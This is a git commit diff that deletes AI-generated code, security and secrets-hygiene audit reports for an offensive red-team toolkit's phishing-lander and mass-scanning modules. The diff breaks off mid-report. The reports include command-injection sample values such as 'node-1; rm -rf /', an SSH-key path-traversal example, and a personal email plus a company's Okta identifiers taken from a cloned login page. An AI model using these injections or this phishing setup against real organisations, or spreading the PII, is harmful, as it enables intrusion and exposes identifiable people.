Sanitize for public CoM release: remove audit PII, operator paths, homelab IPs, fix submodule URL

This commit is contained in:
n0mad1k
2026-06-25 12:27:37 -04:00
parent fca8b8c040
commit f0d200c877
18 changed files with 10 additions and 1124 deletions
+1 -1
View File
@@ -1,3 +1,3 @@
[submodule "ghost_protocol"]
path = ghost_protocol
url = https://github.com/n0mad1k/ghost_protocol-public.git
url = https://git.churchofmalware.org/n0mad1k/CoM-ghost_protocol.git
+1 -1
View File
@@ -67,7 +67,7 @@ Some provider utility functions may need verification:
1. **Test the core deployment flow**:
```bash
cd /home/n0mad1k/Tools/c2itall
cd /opt/c2itall
python3 deploy.py
# Try option 1 (Deploy C2 Infrastructure) with a test deployment
```
+1 -1
View File
@@ -8,7 +8,7 @@ stdout_callback = default
bin_ansible_callbacks = True
nocows = 1
interpreter_python = auto_silent
ansible_python_interpreter = /home/n0mad1k/Tools/c2itall/venv/bin/python
ansible_python_interpreter = %(here)s/venv/bin/python
[ssh_connection]
ssh_args = -o ControlMaster=auto -o ControlPersist=60s -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes
-62
View File
@@ -1,62 +0,0 @@
---
agent: code-auditor
status: COMPLETE
timestamp: 2026-06-25T10:20:00Z
duration_seconds: 120
files_scanned: 4
findings_count: 6
errors: []
skipped_checks: []
---
# Code Audit
## Files Scanned
- `modules/phishing/lander_gen.py` (103 lines)
- `modules/phishing/deploy_phishing.py` (574 lines, focused: L157-185, L417-424, L445-446)
- `modules/phishing/templates/cloud-lander.html.j2` (31 lines)
- `modules/phishing/templates/js-payload.js.j2` (11 lines)
## Findings
### HIGH
- [lander_gen.py:25-90] `post_deploy_generate_lander()` uses `print()` calls (11 instances, L62-89) in production code. Should use logging or Rich for consistency with c2itall pattern.
- [cloud-lander.html.j2:14] Magic number `20` hardcoded in `makeRandomSub(20)` for random subdomain prefix length. Should be a configurable constant; if log-harvesting becomes a threat, this will need per-request rotation and the number may change.
### MEDIUM
- [lander_gen.py:66-76] Duplicate provider-specific logic pattern. GCS, S3, and Azure blocks each construct `public_url` and `upload_cmd` independently. Same operation (URL + command generation) duplicated 3 times with 5+ line similarity each. Extract to a dict-driven pattern or helper to reduce duplication.
- [deploy_phishing.py:164-184] Nesting depth of 5 levels in lander prompt block (if → if → if → if → if). Input validation and conditional chain is difficult to follow; consider early returns or extracting to a dedicated validation function.
- [cloud-lander.html.j2:13] Hardcoded character set `'abcdefghijklmnopqrstuvwxyz0123456789'` used in random subdomain generation. If character set requirements change (e.g., exclude vowels to avoid accidental offensive domains), this will need updating in multiple places.
### LOW
- [lander_gen.py:87] Comment references "ponytail: fixed JS filename visible in webserver logs" but does not state the upgrade path. Per ponytail rules, shortcut ceilings should name when to upgrade (e.g., "upgrade to per-RId rotation if log-harvesting becomes a threat"). Current comment is incomplete.
- [deploy_phishing.py:445-446] Inline import of `post_deploy_generate_lander` inside success block. While intentional (lazy load post-deploy), this is not consistent with module-level imports at the top of the function. Consider moving to the top for clarity or add a comment explaining the late binding reason.
## Stats
- print() calls: 11 (lander_gen.py L62-89, deploy_phishing.py L158-184)
- TODO/FIXME/HACK: 0
- Files >500 lines: 1 (deploy_phishing.py)
- Functions >50 lines: 0
- Max nesting depth: 5 (deploy_phishing.py L164-184)
- Cyclomatic complexity: 2 (within acceptable range)
- Dead code: None detected
- Duplicate logic blocks: 1 (provider URL/command generation)
## Notes
### Code Quality Observations
**Strengths:**
- Input validation at trust boundaries is solid (HTTPS enforcement, campaign ID regex)
- No unused imports
- Clean separation of concerns (lander_gen.py as pure generation, deploy_phishing.py as orchestration)
- Syntax is valid across all files
**Complexity:**
- The lander prompt block in deploy_phishing.py (L164-184) has legitimate nesting due to cascading user input validation, but would benefit from extraction to reduce cognitive load.
- File sizes are within healthy range (largest is 574 lines, acceptable for a deployment orchestrator).
**Style:**
- Consistent use of COLORS dict for output (good adherence to c2itall pattern)
- Template Jinja2 syntax is correct and minimal
-64
View File
@@ -1,64 +0,0 @@
---
agent: code-auditor
status: COMPLETE
timestamp: 2026-05-01T00:00:00Z
duration_seconds: 180
files_scanned: 2
findings_count: 8
errors: []
skipped_checks: []
---
# Code Audit — DevTrack #980
## Findings
### P1 (Blocker)
- [node_scanner.py:123] **Command injection via string interpolation**`s.send(b"HEAD / HTTP/1.0\r\nHost: %b\r\n\r\n" % ip.encode())` uses `%b` format which allows raw bytes; hostname validation required. Not exploitable in this context (internal service), but antipattern. Should be `f"Host: {ip}\r\n"` as string with bytes conversion after.
- [node_scanner.py:117-133] **Socket not guaranteed closed on exception path**`probe_service()` relies on context manager but inner try/except blocks can suppress exceptions. If `s.recv()` at line 124 raises an exception NOT caught by `except Exception`, the context manager exits cleanly. **Actually safe** — verified: all paths either return or re-raise under `except Exception`, and outer `with` block guarantees cleanup. False alarm, but comment would help clarity.
### P2 (Important)
- [node_scanner.py:148] **Dead code**`targets_arg = " ".join(cidrs[:50])` (line 148) assigned but never used; removed in scan_nmap_only().
- [provider_rates.py:88] **Logic bug in build_estimate_table()** — Line 88 uses `preset['chunk_size']` to calculate hours, but line 93 calculates `n_chunks` correctly. However, the hours calculation assumes each chunk takes the same time, which is correct only if all chunks are the same size. **For the last chunk**, if `total_ips % preset['chunk_size'] != 0`, the hours are overstated (line 94 always assumes full chunk). This causes cost overestimation for non-aligned IP counts. Should calculate per-chunk IPs separately or clarify in docs that hours are per-chunk-size, not per-actual-chunk.
- [node_scanner.py:77-114] **run_nmap() called concurrently from scan_masscan_nmap() and scan_geo_scout()** — Each writes to `nmap_{ip}.xml` (unique per IP, line 79). **Thread safety: confirmed safe** — XML output files are per-IP and subprocess.run() creates isolated processes. No shared state. Risk: if same IP appears twice in one call, file overwrites but result is same. Non-issue.
### P3 (Minor)
- [node_scanner.py:20] **print() in production code** — Line 20 `log()` function calls `print()` directly. Should use logging module (logging.info) or Rich for consistency with c2itall patterns. Low impact (stderr-friendly for cloud runner), but violates style guidelines.
- [node_scanner.py:136-139] **Unused parameter in scan_masscan_only()**`node_name` parameter (line 142, 248, 262) passed but never used in any scan function. These functions don't write node metadata to results. Inconsistency with function signature expectations.
- [node_scanner.py:226] **Import inside function**`import yaml` at line 225 (inside scan_geo_scout). Move to top for clarity. Low cost import, non-blocking.
- [provider_rates.py:76-78] **Comment lacks precision** — "Tor adds ~5x latency overhead" with TOR_RATE_MULTIPLIER = 0.2 (which is 1/5, not 5x). Comment should say "reduces throughput to 1/5" or multiply by 0.2. Currently correct code, ambiguous comment.
### P4 (Nitpick)
- [node_scanner.py] **Two comment blocks (line 3-5, line 76)** without corresponding docstrings. Module-level docstring present, function docstrings absent. Minor — code is self-documenting.
- [provider_rates.py:57] **Magic number 0.018** — Default instance rate hardcoded. Should be a constant (e.g., `DEFAULT_RATE = 0.018`).
## Stats
- print() calls: 1 (in log function)
- TODO/FIXME comments: 0
- Unused imports: 0 (all imports used: ET, Path, subprocess, argparse, json, sys, time, math, socket, yaml lazy-loaded)
- Dead code blocks: 1 (targets_arg, line 148)
- Unused parameters: 3 (node_name in scan_* functions)
- Files >500 lines: 0
- Functions >50 lines: 0 (longest is run_masscan at 44 lines)
- Nesting depth >3: 0 (deepest is 3 levels in build_estimate_table, acceptable)
## Verification Notes
**Thread safety (run_nmap):** Confirmed. Each IP gets unique XML file (`nmap_{ip}.xml`). Concurrent calls from different IPs are safe. Same IP in same call overwrites but idempotent.
**estimate_scan_hours() formula:** `(ip_count * n_ports / rate) / 3600` is correct for time in hours. Rate in packets/sec, result in hours. No mathematical error, but doc should clarify units.
**Socket leak risk (probe_service):** No leak. `with socket.create_connection()` guarantees cleanup; nested exceptions all caught.
-88
View File
@@ -1,88 +0,0 @@
---
agent: code-auditor
status: COMPLETE
timestamp: 2026-05-02T00:00:00Z
duration_seconds: 180
files_scanned: 2
findings_count: 5
errors: []
skipped_checks: []
---
# Code Audit — DevTrack #989: Webrunner Estimator Rewrite
## Findings
### P2 (Medium Priority)
- **`modules/webrunner/deploy_webrunner.py:306`** — `gather_webrunner_parameters()` is 227 lines. Complexity is high due to sequential parameter gathering, but each section is self-contained (providers, countries, scan mode, tuning, estimate display, preset selection, CIDR distribution). Refactor would require breaking into multiple functions that each prompt and return data — tradeoff: current structure is arguably clearer for a linear setup wizard. **Recommendation**: Document the phases with section headers (already done with comments) and consider splitting only if interactivity requirements change.
- **`utils/provider_rates.py:87-145`** — `estimate_scan_hours()` has cyclomatic complexity of 11 (threshold: 10). The complexity is necessary: 4 scan modes × nested `use_tor` conditions = 5 paths per phase × 4 phases + rate check. Each branch is distinct (different time calculations). Logic is correct but at the boundary. **Recommendation**: acceptable due to inherent problem structure, but monitor for future growth.
- **`modules/webrunner/deploy_webrunner.py:200,206`** — Tuning params `nmap_timeout` and `nuclei_timeout` are prompted from user (lines 200, 206) and stored in config (lines 559, 562 show them printed), but **NOT passed to `estimate_scan_hours()`** in provider_rates.py. These parameters **DO NOT affect the time estimate** — they are only used at scan execution time (node_scanner.py lines 376-381, 396). This is **correct behavior** but the params are dead-code for estimation purposes. Current design: `estimate_scan_hours()` uses fixed constants (`NMAP_TIME_BY_TIMING`, `NUCLEI_TIME_PER_TARGET_SEC`) which are conservative defaults. The tuning params would require significant refactor to propagate through the estimation function signature (nmap_timeout not indexed by timing template, nuclei_timeout not indexed by template complexity). **Assessment**: No bug, by design. Timeouts are runtime constraints, not estimation inputs.
### P3 (Low Priority)
- **`modules/webrunner/deploy_webrunner.py:196`** — Dead `pass` statement. Line 195-196:
```python
if scan_mode in ('masscan+nmap', 'geo-scout', 'masscan+nuclei'):
pass # masscan_rate already handled
```
This is a placeholder comment; the condition is never needed since `masscan_rate` is always prompted on line 193. **Recommendation**: Remove the conditional block entirely.
- **`modules/webrunner/deploy_webrunner.py:265,279,281`** — Magic numbers (70, 56, 10, 25) in format strings are visual constants for table borders and tuning display. All acceptable.
### P4 (Informational)
- No `print()` statements in production code detected — all output uses Rich-style ANSI color codes via `COLORS` dict (good practice for TUI).
- No TODO/FIXME/HACK comments detected.
- No unused imports detected.
- All function signatures updated consistently (`_show_estimate_table` receives tuning dict, passes to `build_estimate_table`).
- Nuclei phase throughput calculation at `utils/provider_rates.py:140-142` is mathematically correct:
```
parallel_throughput = nuclei_concurrency / per_target
rate_throughput = nuclei_rate
effective_rps = min(rate_throughput, parallel_throughput)
```
With defaults (25 concurrency, 5s per target, 150 req/s rate): min(150, 5) = 5 req/s bottleneck (parallelism-limited). Edge cases handled correctly.
## Stats
- **Files >500 lines**: 1 (`deploy_webrunner.py`, 617 lines)
- **Functions >50 lines**: 1 (`gather_webrunner_parameters`, 227 lines)
- **Cyclomatic complexity >10**: 1 (`estimate_scan_hours`, CC=11)
- **Nesting depth >3**: 1 instance (L60, necessary for loop logic)
- **print() calls**: 0 (ANSI output via COLORS dict only)
- **TODO/FIXME/HACK**: 0
- **Dead code blocks**: 1 placeholder conditional (lines 195-196)
- **Unused imports**: 0
- **Signature changes**: 1 (`_show_estimate_table` + tuning param) — validated across 2 call sites
## Verification Notes
### Nuclei Throughput Logic ✓
The calculation `effective_rps = min(rate_throughput, parallel_throughput)` correctly identifies which constraint is tighter:
- If concurrency is small relative to per_target time (e.g., 25 / 5 = 5 req/s), parallelism is the bottleneck.
- If rate limit is small (e.g., 2 req/s), rate limit is the bottleneck.
- The `max(min(...), 1.0)` ensures effective_rps ≥ 1.0 (prevents division by very small numbers).
### Phase Decomposition Correctness ✓
Each phase (masscan, nmap, probe, nuclei) applies Tor multiplier only to TCP-based operations (nmap, nuclei, probe), never to masscan (raw sockets). This is correct per OPSEC comment on line 77-79.
### Tuning Param Integration ✓
All 6 tuning params extracted in `build_estimate_table()` are correctly passed to `estimate_scan_hours()`:
- `nmap_timing`, `nmap_workers`, `nuclei_rate`, `nuclei_concurrency`, `hit_rate`, `masscan_rate`
- No params are lost; no params are unused.
---
## No Code Quality Issues Detected
All critical paths reviewed:
- Module imports: complete and used
- Function signatures: refactored correctly
- Logic bugs: none detected
- Dead code: 1 placeholder conditional (recommended removal)
- Complexity: at acceptable threshold, necessary for problem domain
**Refactor Status**: Ready for deployment. Consider future simplification of `gather_webrunner_parameters()` if user interaction patterns change.
-61
View File
@@ -1,61 +0,0 @@
---
agent: env-validator
status: PASS
timestamp: 2026-05-02T00:00:00Z
findings_count: 0
errors: []
---
# Env Validation — DevTrack #989
## Summary
Comprehensive secrets hygiene audit for webrunner estimator rewrite (provider_rates.py and deploy_webrunner.py). **All checks passed.**
## PASS
### Secrets in source
- **provider_rates.py**: Clean. Contains only tuning constants (rate tables, timing defaults, cost multipliers). No API keys, tokens, passwords, or credential patterns detected.
- **deploy_webrunner.py**: Clean. Contains no hardcoded secrets. All credential handling is delegated to provider-specific utilities (linode_utils, aws_utils, flokinet_utils) which retrieve secrets from Infisical at runtime.
### API key/token patterns
Searched all files for:
- `ghp_[A-Za-z0-9_]+` (GitHub tokens) — NOT FOUND
- `sk_live_[A-Za-z0-9]+` or `sk_test_[A-Za-z0-9]+` (Stripe) — NOT FOUND
- `AKIA[A-Z0-9]{16}` (AWS access keys) — NOT FOUND
- `Bearer [A-Za-z0-9._-]{20,}` (bearer tokens) — NOT FOUND
- `password\s*=\s*["'][^"']{8,}` (hardcoded passwords) — NOT FOUND
- `api[_-]?key\s*=\s*["'][^"']{10,}` (API keys) — NOT FOUND
### .env file content
- No new .env files created in either module
- No .env file writes detected in code
- Tuning parameters stored in safe yaml configs:
- `inputs/targets.yaml` — target definitions, probe patterns, vulnerability tags only
- `inputs/countries.yaml` — country codes, priority levels, exclude lists only
- User-supplied vars files (optional) — only tuning parameters (masscan_rate, nmap_timing, hit_rate, etc.)
### Credential handling verification
All provider credentials properly retrieved from Infisical:
- **Linode**: `creds get LINODE_TOKEN homelab` (linode_utils.py:16-19)
- **AWS**: `creds get AWS_ACCESS_KEY_ID homelab` and `creds get AWS_SECRET_ACCESS_KEY homelab` (aws_utils.py:17-24)
- Fallback to vars file templates only (marked as placeholders like 'YOUR_AWS')
- No secrets persisted to disk; only set in `os.environ` in memory (deployment_engine.py:set_provider_environment)
### Git history check
- No secrets in recent commits to these files
- 16 commits to webrunner module examined (latest: "Phase-accurate webrunner cost/time estimator...")
- Notable commit: "Fix P1 WEBRUNNER deployment failures and secret leakage" (18039b2) — prior leak was addressed and fixed
- No secret patterns detected in any commit
### Code review
- `provider_rates.py` (209 lines): Pure computation — estimate_scan_hours(), build_estimate_table(), formatting helpers. No file I/O, no env var access.
- `deploy_webrunner.py` (617 lines): Parameter gathering and deployment orchestration. All secrets retrieved via subprocess calls to `creds` binary (lines 16-24 in provider utils). No new credential handling code introduced in this rewrite.
## Findings
**0 issues.**
No hardcoded secrets, no .env writes, no credential handling added. Secrets flow:
```
User input → provider_utils → creds binary (Infisical) → os.environ (memory only)
```
This is correct per secrets management rules.
-166
View File
@@ -1,166 +0,0 @@
---
agent: security-auditor
status: COMPLETE
timestamp: 2026-05-01T00:00:00Z
duration_seconds: 15
files_scanned: 4
findings_count: 2
critical_count: 0
high_count: 1
errors: []
skipped_checks: []
---
# Security Audit — DevTrack #980: node_scanner.py ThreadPoolExecutor Parallelization
## Summary
Reviewed `/home/n0mad1k/tools/c2itall/modules/webrunner/tasks/node_scanner.py` and Ansible provisioning tasks for security risks related to:
- Subprocess injection from command-line arguments
- XML parsing (XXE/entity expansion)
- Socket resource handling under concurrency
- File write races in parallelized execution
## Findings
### HIGH: Command Injection via Unquoted Arguments in subprocess.run() — Ansible Template Injection
**File:** `run_scan.yml:14-18` and `node_scanner.py:28-35, 81-85, 149-153`
**Issue:** Arguments passed to `subprocess.run()` include unquoted template variables from Ansible. While Python's subprocess list form prevents shell metacharacter injection **within a single arg**, the Ansible playbook's command templating is not protected.
Example from run_scan.yml:
```yaml
command: >
python3 /root/webrunner/node_scanner.py
--mode {{ scan_mode }}
--ports {{ ports_str }}
--rate {{ masscan_rate }}
--node-name {{ node_name }}
```
If `{{ ports_str }}` contains spaces (e.g., "22,80,443"), it's safe in shell. However, if `{{ node_name }}` is injected with shell metacharacters (e.g., `node-1; rm -rf /`), Ansible's `command:` module will execute it as a shell command directly.
**Attack vector:** Operator misconfigures Ansible extra-vars with malicious node_name or ports_str → arbitrary command execution on cloud node.
**Remediation:** Use Ansible's `args:` with list form instead of shell templating:
```yaml
command:
- python3
- /root/webrunner/node_scanner.py
- --mode
- "{{ scan_mode }}"
- --ports
- "{{ ports_str }}"
- --rate
- "{{ masscan_rate }}"
- --node-name
- "{{ node_name }}"
```
Or validate inputs in deploy_webrunner.py before passing to Ansible.
---
### MEDIUM: XML External Entity (XXE) Risk in ET.parse() — Mitigated by ET default behavior
**File:** `node_scanner.py:94, 166`
**Issue:** `ET.parse()` on lines 94 and 166 parses untrusted XML from nmap output. Python's ElementTree (ET) by default disables external entity expansion, making XXE attacks unlikely. However, entity bombing (billion laughs) is theoretically possible.
**Context:** nmap writes its own XML; this is trusted output from a tool run locally. Risk is LOW in isolation because:
1. nmap is the source, not an external API
2. Attacker would need to compromise the nmap binary itself
3. No feature in nmap that injects user-controlled XML
**Mitigation already in place:** ET default configuration rejects DOCTYPE declarations with external entities.
**Note:** No action required for current implementation. No XXE vector found.
---
## Resource Exhaustion Risk with ThreadPoolExecutor (Planned Change)
**File:** `node_scanner.py:117-133` — probe_service() under parallelism
**Issue:** The planned ThreadPoolExecutor with 10 workers parallelizing `run_nmap()` calls exposes `probe_service()` to connection resource exhaustion:
```python
def probe_service(ip: str, port: int) -> str:
with socket.create_connection((ip, port), timeout=3) as s:
# ...
```
With 10 parallel nmap fingerprints, if each nmap finds 50+ open ports, 500 concurrent socket connections could be created in `scan_geo_scout()` at line 242. Each connection opens a file descriptor.
**Mitigation in current code:**
- Socket context manager ensures cleanup
- 3-second timeout prevents hung connections
- Per-port probe only happens in geo_scout mode, not default
- Masscan output is bounded by realistic open port densities
**Risk level:** MEDIUM if combined with extremely high port density (e.g., scanning honeypot ranges). Current code structure (sequential per-IP) avoids this.
**Recommendation:** When implementing ThreadPoolExecutor, add:
1. Resource pool limits (e.g., semaphore capping concurrent probes to 50)
2. Per-worker socket timeout validation
3. Connection pool reset on worker failure
---
## Subprocess Argument Validation
**File:** `node_scanner.py:77-89, 149-153`
**Status:** PASS (No injection risk detected)
- Port arguments use `",".join(str(p) for p in sorted(set(ports)))` — guaranteed numeric
- Rate argument is `type=int` from argparse — validated
- Node name and ip parameters are passed as list items to subprocess — shell metacharacters have no effect
- All subprocess calls use `check=False` and exception handling — no silent failures
---
## File I/O Concurrency
**File:** `node_scanner.py:79, 286`
**Status:** PASS
- Per-IP XML outputs are uniquely named: `nmap_{ip.replace('.', '_')}.xml` — no collision under parallel execution
- results.json written once at end — sequential write after all work complete
- No shared file handles between workers
---
## Secrets & Credentials Exposure
**Status:** PASS
- No hardcoded API keys, tokens, or credentials
- No sensitive data in log output (only counts, timestamps, status)
- Node names do not reveal operator identity (parameterized via `webrunner_name`)
- Tor routing properly abstracted through Ansible conditional — no hardcoded proxy strings
---
## Summary Table
| Category | Status | Severity | Notes |
|----------|--------|----------|-------|
| Subprocess injection | **FAIL** | HIGH | Ansible template injection via unquoted args in run_scan.yml |
| XXE / entity expansion | PASS | — | ET default config sufficient |
| Socket exhaustion (parallelism) | PASS* | MEDIUM | Resource pool limits recommended for 10-worker ThreadPoolExecutor |
| Argument validation | PASS | — | argparse + list form subprocess calls |
| File I/O races | PASS | — | Unique per-IP filenames, sequential final write |
| Secrets exposure | PASS | — | No hardcoded credentials |
| OPSEC (fingerprinting) | PASS | — | Node names parameterized, no tool signature leakage |
*Requires mitigation before high-parallelism production use.
---
## Actionable Fixes
1. **Fix run_scan.yml** — Use Ansible args list form or validate inputs upstream
2. **ThreadPoolExecutor planning** — Add semaphore/resource pool for probe_service() concurrency
3. **No blocking issues** for current sequential implementation
-135
View File
@@ -1,135 +0,0 @@
---
agent: security-auditor
status: COMPLETE
timestamp: 2026-05-02T00:00:00Z
duration_seconds: 15
files_scanned: 3
findings_count: 4
critical_count: 0
high_count: 1
errors: []
skipped_checks: []
---
# Security Audit — DevTrack #989 (Webrunner Estimator Rewrite)
## Scope
Files audited:
- `/home/n0mad1k/tools/c2itall/utils/provider_rates.py` (209 lines)
- `/home/n0mad1k/tools/c2itall/modules/webrunner/deploy_webrunner.py` (617 lines)
- `/home/n0mad1k/tools/c2itall/modules/webrunner/tasks/merge_results.py` (118 lines)
Checks performed: input injection, hardcoded secrets, auth, OPSEC, malformed input handling, path safety, estimate disclosure.
---
## Findings
### HIGH (CVSS 7.08.9)
#### 1. Unvalidated Negative/Zero Tuning Parameters Allow Cost Calculation DoS
**Location**: `deploy_webrunner.py:181-191`, `provider_rates.py:177-143`
**Description**: Tuning parameters from vars file or CLI input are cast to `int` without validation. Negative or zero values for `masscan_rate`, `nmap_workers`, `nuclei_concurrency` propagate directly into mathematical operations (division, multiplication) in the estimate functions, resulting in nonsensical estimates or potential floating-point exceptions.
**Attack vector**: Operator provides malformed vars file with `masscan_rate: -100` or `nuclei_concurrency: 0`, causing:
- `estimate_scan_hours()` to compute incorrect hours (negative division result at line 141)
- Cost estimates to be silently corrupted
- Decision-making based on invalid data
**Remediation**:
- In `_prompt()` (line 181), add validation after cast: `if value <= 0: value = default`
- In `build_estimate_table()` (line 177), enforce minimum values: `masscan_rate = max(1, int(...))`
- Validate `nmap_workers` and `nuclei_concurrency` before use in math (already partially done at line 104, but only for nmap_workers; nuclei_concurrency lacks guard).
---
### MEDIUM (CVSS 4.06.9)
#### 2. Tor Warning Phrasing Could Be Misinterpreted — Default Behavior Correct But Language Ambiguous
**Location**: `deploy_webrunner.py:211-227`
**Description**: The warning at line 217 states "CRITICAL OPSEC WARNING — MASSCAN BYPASSES TOR" and explains that masscan uses raw sockets and cannot be proxied. However, the framing "THIS CLOUD NODE'S IP is exposed to targets" is accurate but could mislead an operator into thinking *all* scanning traffic is exposed.
The code correctly defaults to `[y/N]` (line 401), requiring explicit `y` or `yes` to proceed — this is secure. However, the message could clarify that:
1. Only masscan SYN packets leak the node IP.
2. nmap, nuclei, and probes ARE protected by Tor (correctly stated at line 223224).
3. The operator is consenting to a *known, documented limitation*, not an accidental leak.
**Current text**: "Every SYN packet sent during the masscan phase reveals THIS CLOUD NODE'S IP to the targets and any monitoring along the path."
**Better text**: "Every SYN packet sent during the masscan phase reveals THIS CLOUD NODE'S IP address to targets (raw sockets bypass proxychains entirely). Use 'nmap-only' mode for full Tor protection."
**Remediation**: Update warning wording to disambiguate masscan-only exposure vs. the rest of the stack.
---
#### 3. Path Traversal Risk in Template and Targets File Loading
**Location**: `deploy_webrunner.py:162-173` (nuclei template), `deploy_webrunner.py:133-149` (targets.yaml)
**Description**: User-supplied paths to nuclei templates and targets.yaml files are opened without sanitization:
- Line 169: `local_path = input(" Path to nuclei template (.yaml): ").strip()` → directly to `Path(local_path).exists()``open(path)` at line 141.
- Line 136: `raw = input(f"Path to targets.yaml [{default}]: ").strip()``path = raw or default``open(path)` at line 141.
An operator (or vars file) could supply `../../../etc/passwd` or symlinks, allowing:
1. Reading arbitrary files on the deployment controller.
2. Leaking environment variables or private keys if yaml.safe_load() processes them.
**Attack vector**: Vars file with `nuclei_template: /etc/hostname` or `targets_file: ~/.ssh/id_rsa` — files are read and displayed.
**Remediation**:
- Add path validation: `p = Path(local_path).resolve(); if not p.is_relative_to(Path.cwd()): reject`.
- Alternatively, restrict to a specific directory: `p = (WEBRUNNER_INPUTS / local_path).resolve(); if not p.is_relative_to(WEBRUNNER_INPUTS): reject`.
- Use pathlib consistently to prevent directory traversal.
---
#### 4. YAML Safe-Load Correctly Used — No Code Execution Risk
**Location**: `deploy_webrunner.py:115-130`, `deploy_webrunner.py:139-149`
**Status**: PASS — `yaml.safe_load()` is used (not `yaml.load()`), preventing arbitrary Python object instantiation. No code execution risk from malformed YAML.
---
### LOW (CVSS <4.0)
#### 5. Estimate Display Discloses Target Scope and Timing to Console
**Location**: `deploy_webrunner.py:256-301`, output at lines 272296
**Description**: The estimate table displays:
- Total IPs being scanned (`fmt_ip_count(total_ips)`)
- Country codes (implicit in CIDR resolution)
- Scan mode (masscan, nmap, nuclei)
- Time estimates per node
- Total cost
This information is printed to stdout and may be captured in shell history, logs, or screenshots. For offensive ops, this data could reveal:
- Scope scale (e.g., "2.5M IPs" suggests multi-country / large infrastructure)
- Duration (e.g., "12h per node" reveals patience/persistence)
- Provider selection (e.g., "Linode + AWS" may hint at region strategy)
**Mitigated by**:
- Information is shown only during interactive setup (not in batch mode).
- Operator sees warning about provisioning time.
- Cost estimates are precise only for the estimator, not for actual billing.
**Recommendation**:
- Consider adding a `--quiet` flag to suppress estimate display in sensitive environments.
- Ensure logs are cleaned post-deployment (already handled by log rotation).
---
## Summary
**Secure patterns**:
- YAML loading uses `safe_load()`
- No subprocess injection or eval/exec ✓
- No hardcoded secrets or credentials ✓
- Tor warning defaults to `[y/N]` (opt-in, secure) ✓
- CIDR country map is read-only JSON, not executed ✓
**Action items**:
1. **HIGH**: Add validation to tuning parameters to prevent negative/zero values.
2. **MEDIUM**: Clarify Tor warning wording and add path traversal guards.
3. **LOW**: Consider audit log suppression for estimate table in future versions.
-53
View File
@@ -1,53 +0,0 @@
---
agent: env-validator
status: PARTIAL
timestamp: 2026-06-25T00:00:00Z
findings_count: 2
errors: []
---
# Env Validation — DevTrack #1259
## FAIL
- **okta-login.html.j2:102** — Real email address hardcoded in template: `Brian.Caldwell@Zimperium.com`
- Location: HTML form hidden input field (`fromURI` parameter)
- Risk: PII leak in template asset; exposed in version control
- Details: Value is HTML-encoded (`&#x2f;`, `&amp;`, `%40`, etc.) but fully readable when decoded
- **okta-login.html.j2:206** — Real Okta organization reference hardcoded: `zimperium.okta.com` + Okta app ID `exk1ufbfxuFLJp6y3697`
- Location: JavaScript variable `baseUrl` and `fromUri` in login page script
- Risk: Identifies real target organization; enables direct OSINT attack path
- Details: Okta app ID (`exk1ufbfxuFLJp6y3697`) is a unique identifier that can be used to enumerate target infrastructure
## WARN
None
## PASS
- **lander_gen.py** — Credentials passed via config dict, written to temp JSON files with mode 0o600, deleted after use. No filesystem persistence of secrets.
- **deploy_phishing.py** — SMTP password and other credentials collected via input prompts, stored in memory-only config dict, passed to Ansible via temporary JSON file (mode 0o600). No hardcoded secrets detected.
- **cloud-lander.html.j2, js-payload.js.j2** — Template variables only; no hardcoded secrets.
- **nginx-phishing-webserver.j2** — Nginx configuration template; no hardcoded credentials.
- **phishing-landing-page.j2** — Generic login template with Jinja2 placeholders; no hardcoded PII or secrets.
- **microsoft-login.html.j2** — Phishing template with placeholder values; no real credentials embedded.
- **Git history** — No evidence of secrets committed in recent git history (for these files).
## Remediation Required
### Critical
Replace okta-login.html.j2 with a **parameterized template**:
1. Remove hardcoded `Brian.Caldwell@Zimperium.com` and `zimperium.okta.com`
2. Replace with Jinja2 variables:
- `{{ target_email | default('') }}`
- `{{ okta_org_url | default('https://okta.example.com') }}`
- `{{ okta_app_id | default('') }}`
3. Populate these at deployment time via config dict, never in version control
4. Add a comment in the template: `<!-- Template variables: target_email, okta_org_url, okta_app_id -->`
### Process
Ensure all phishing templates follow the same pattern:
- **No real email addresses** in source
- **No real domain/org references** in source
- **All campaign-specific data injected at runtime** via Jinja2 context
- Credentials and PII sourced from config dict passed by `deploy_phishing.py`, never hardcoded
-257
View File
@@ -1,257 +0,0 @@
---
agent: security-auditor
status: COMPLETE
timestamp: 2026-06-25T00:00:00Z
duration_seconds: 45
files_scanned: 8
findings_count: 5
critical_count: 1
high_count: 2
errors: []
skipped_checks: []
---
# Security Audit — DevTrack #1259
## Summary
Phishing module expansion (lander generation, templates, nginx config). Review scanned 8 files for injection, path traversal, XSS, hardcoded secrets, and OPSEC issues.
**Files Scanned:**
1. `modules/phishing/lander_gen.py` (new)
2. `modules/phishing/deploy_phishing.py` (modified, lines ~157185)
3. `modules/phishing/templates/cloud-lander.html.j2` (new)
4. `modules/phishing/templates/js-payload.js.j2` (new)
5. `modules/phishing/webserver/templates/nginx-phishing-webserver.j2` (modified)
6. `modules/phishing/webserver/templates/page-templates/phishing-landing-page.j2` (modified)
7. `modules/phishing/webserver/templates/page-templates/microsoft-login.html.j2` (modified)
8. `modules/phishing/webserver/templates/page-templates/okta-login.html.j2` (modified)
---
## Findings
### CRITICAL (CVSS 9.0+)
**[lander_gen.py:6876] Shell Injection via Unescaped Config Parameters in Upload Instructions**
The `bucket` and `campaign_id` parameters from user input are injected directly into shell command strings printed to the user, with no escaping or validation. While the commands are **printed to stdout and not executed by the Python code itself**, they are provided to the operator with intent for manual copy-paste execution.
```python
# Line 6876
config['lander_bucket'] = input("Bucket/storage-account name [required]: ").strip()
# ... later ...
upload_cmd = f"gsutil cp {html_file} gs://{bucket}/index.html && gsutil acl ch -u AllUsers:R gs://{bucket}/index.html"
print(f" {COLORS['CYAN']}{upload_cmd}{COLORS['RESET']}")
```
If a user enters a bucket name like `bucket && malicious_command`, the printed command becomes executable and will run the malicious command when copied to a shell.
**Attack Vector:** Operator social engineering or training material; phishing campaign template hand-off to another team member who copy-pastes the printed command.
**Remediation:** Shell-escape all config parameters before printing:
- Use `shlex.quote()` to wrap `bucket`, `campaign_id`, and `html_file` before insertion into command strings.
- Example: `upload_cmd = f"gsutil cp {shlex.quote(str(html_file))} gs://{shlex.quote(bucket)}/index.html ..."`
- Alternatively, display ready-to-execute Python script snippets using subprocess with positional argument arrays instead of shell=True.
**Status:** Non-execution in source code mitigates immediate risk, but manual command construction introduces human-factor vulnerability.
---
### HIGH (CVSS 7.08.9)
**[js-payload.js.j2:111] RId Parameter Injection via Unsafe URL Parsing**
The `js-payload.js.j2` template parses the `rid` parameter from the referrer URL without sufficient validation. Lines 58:
```javascript
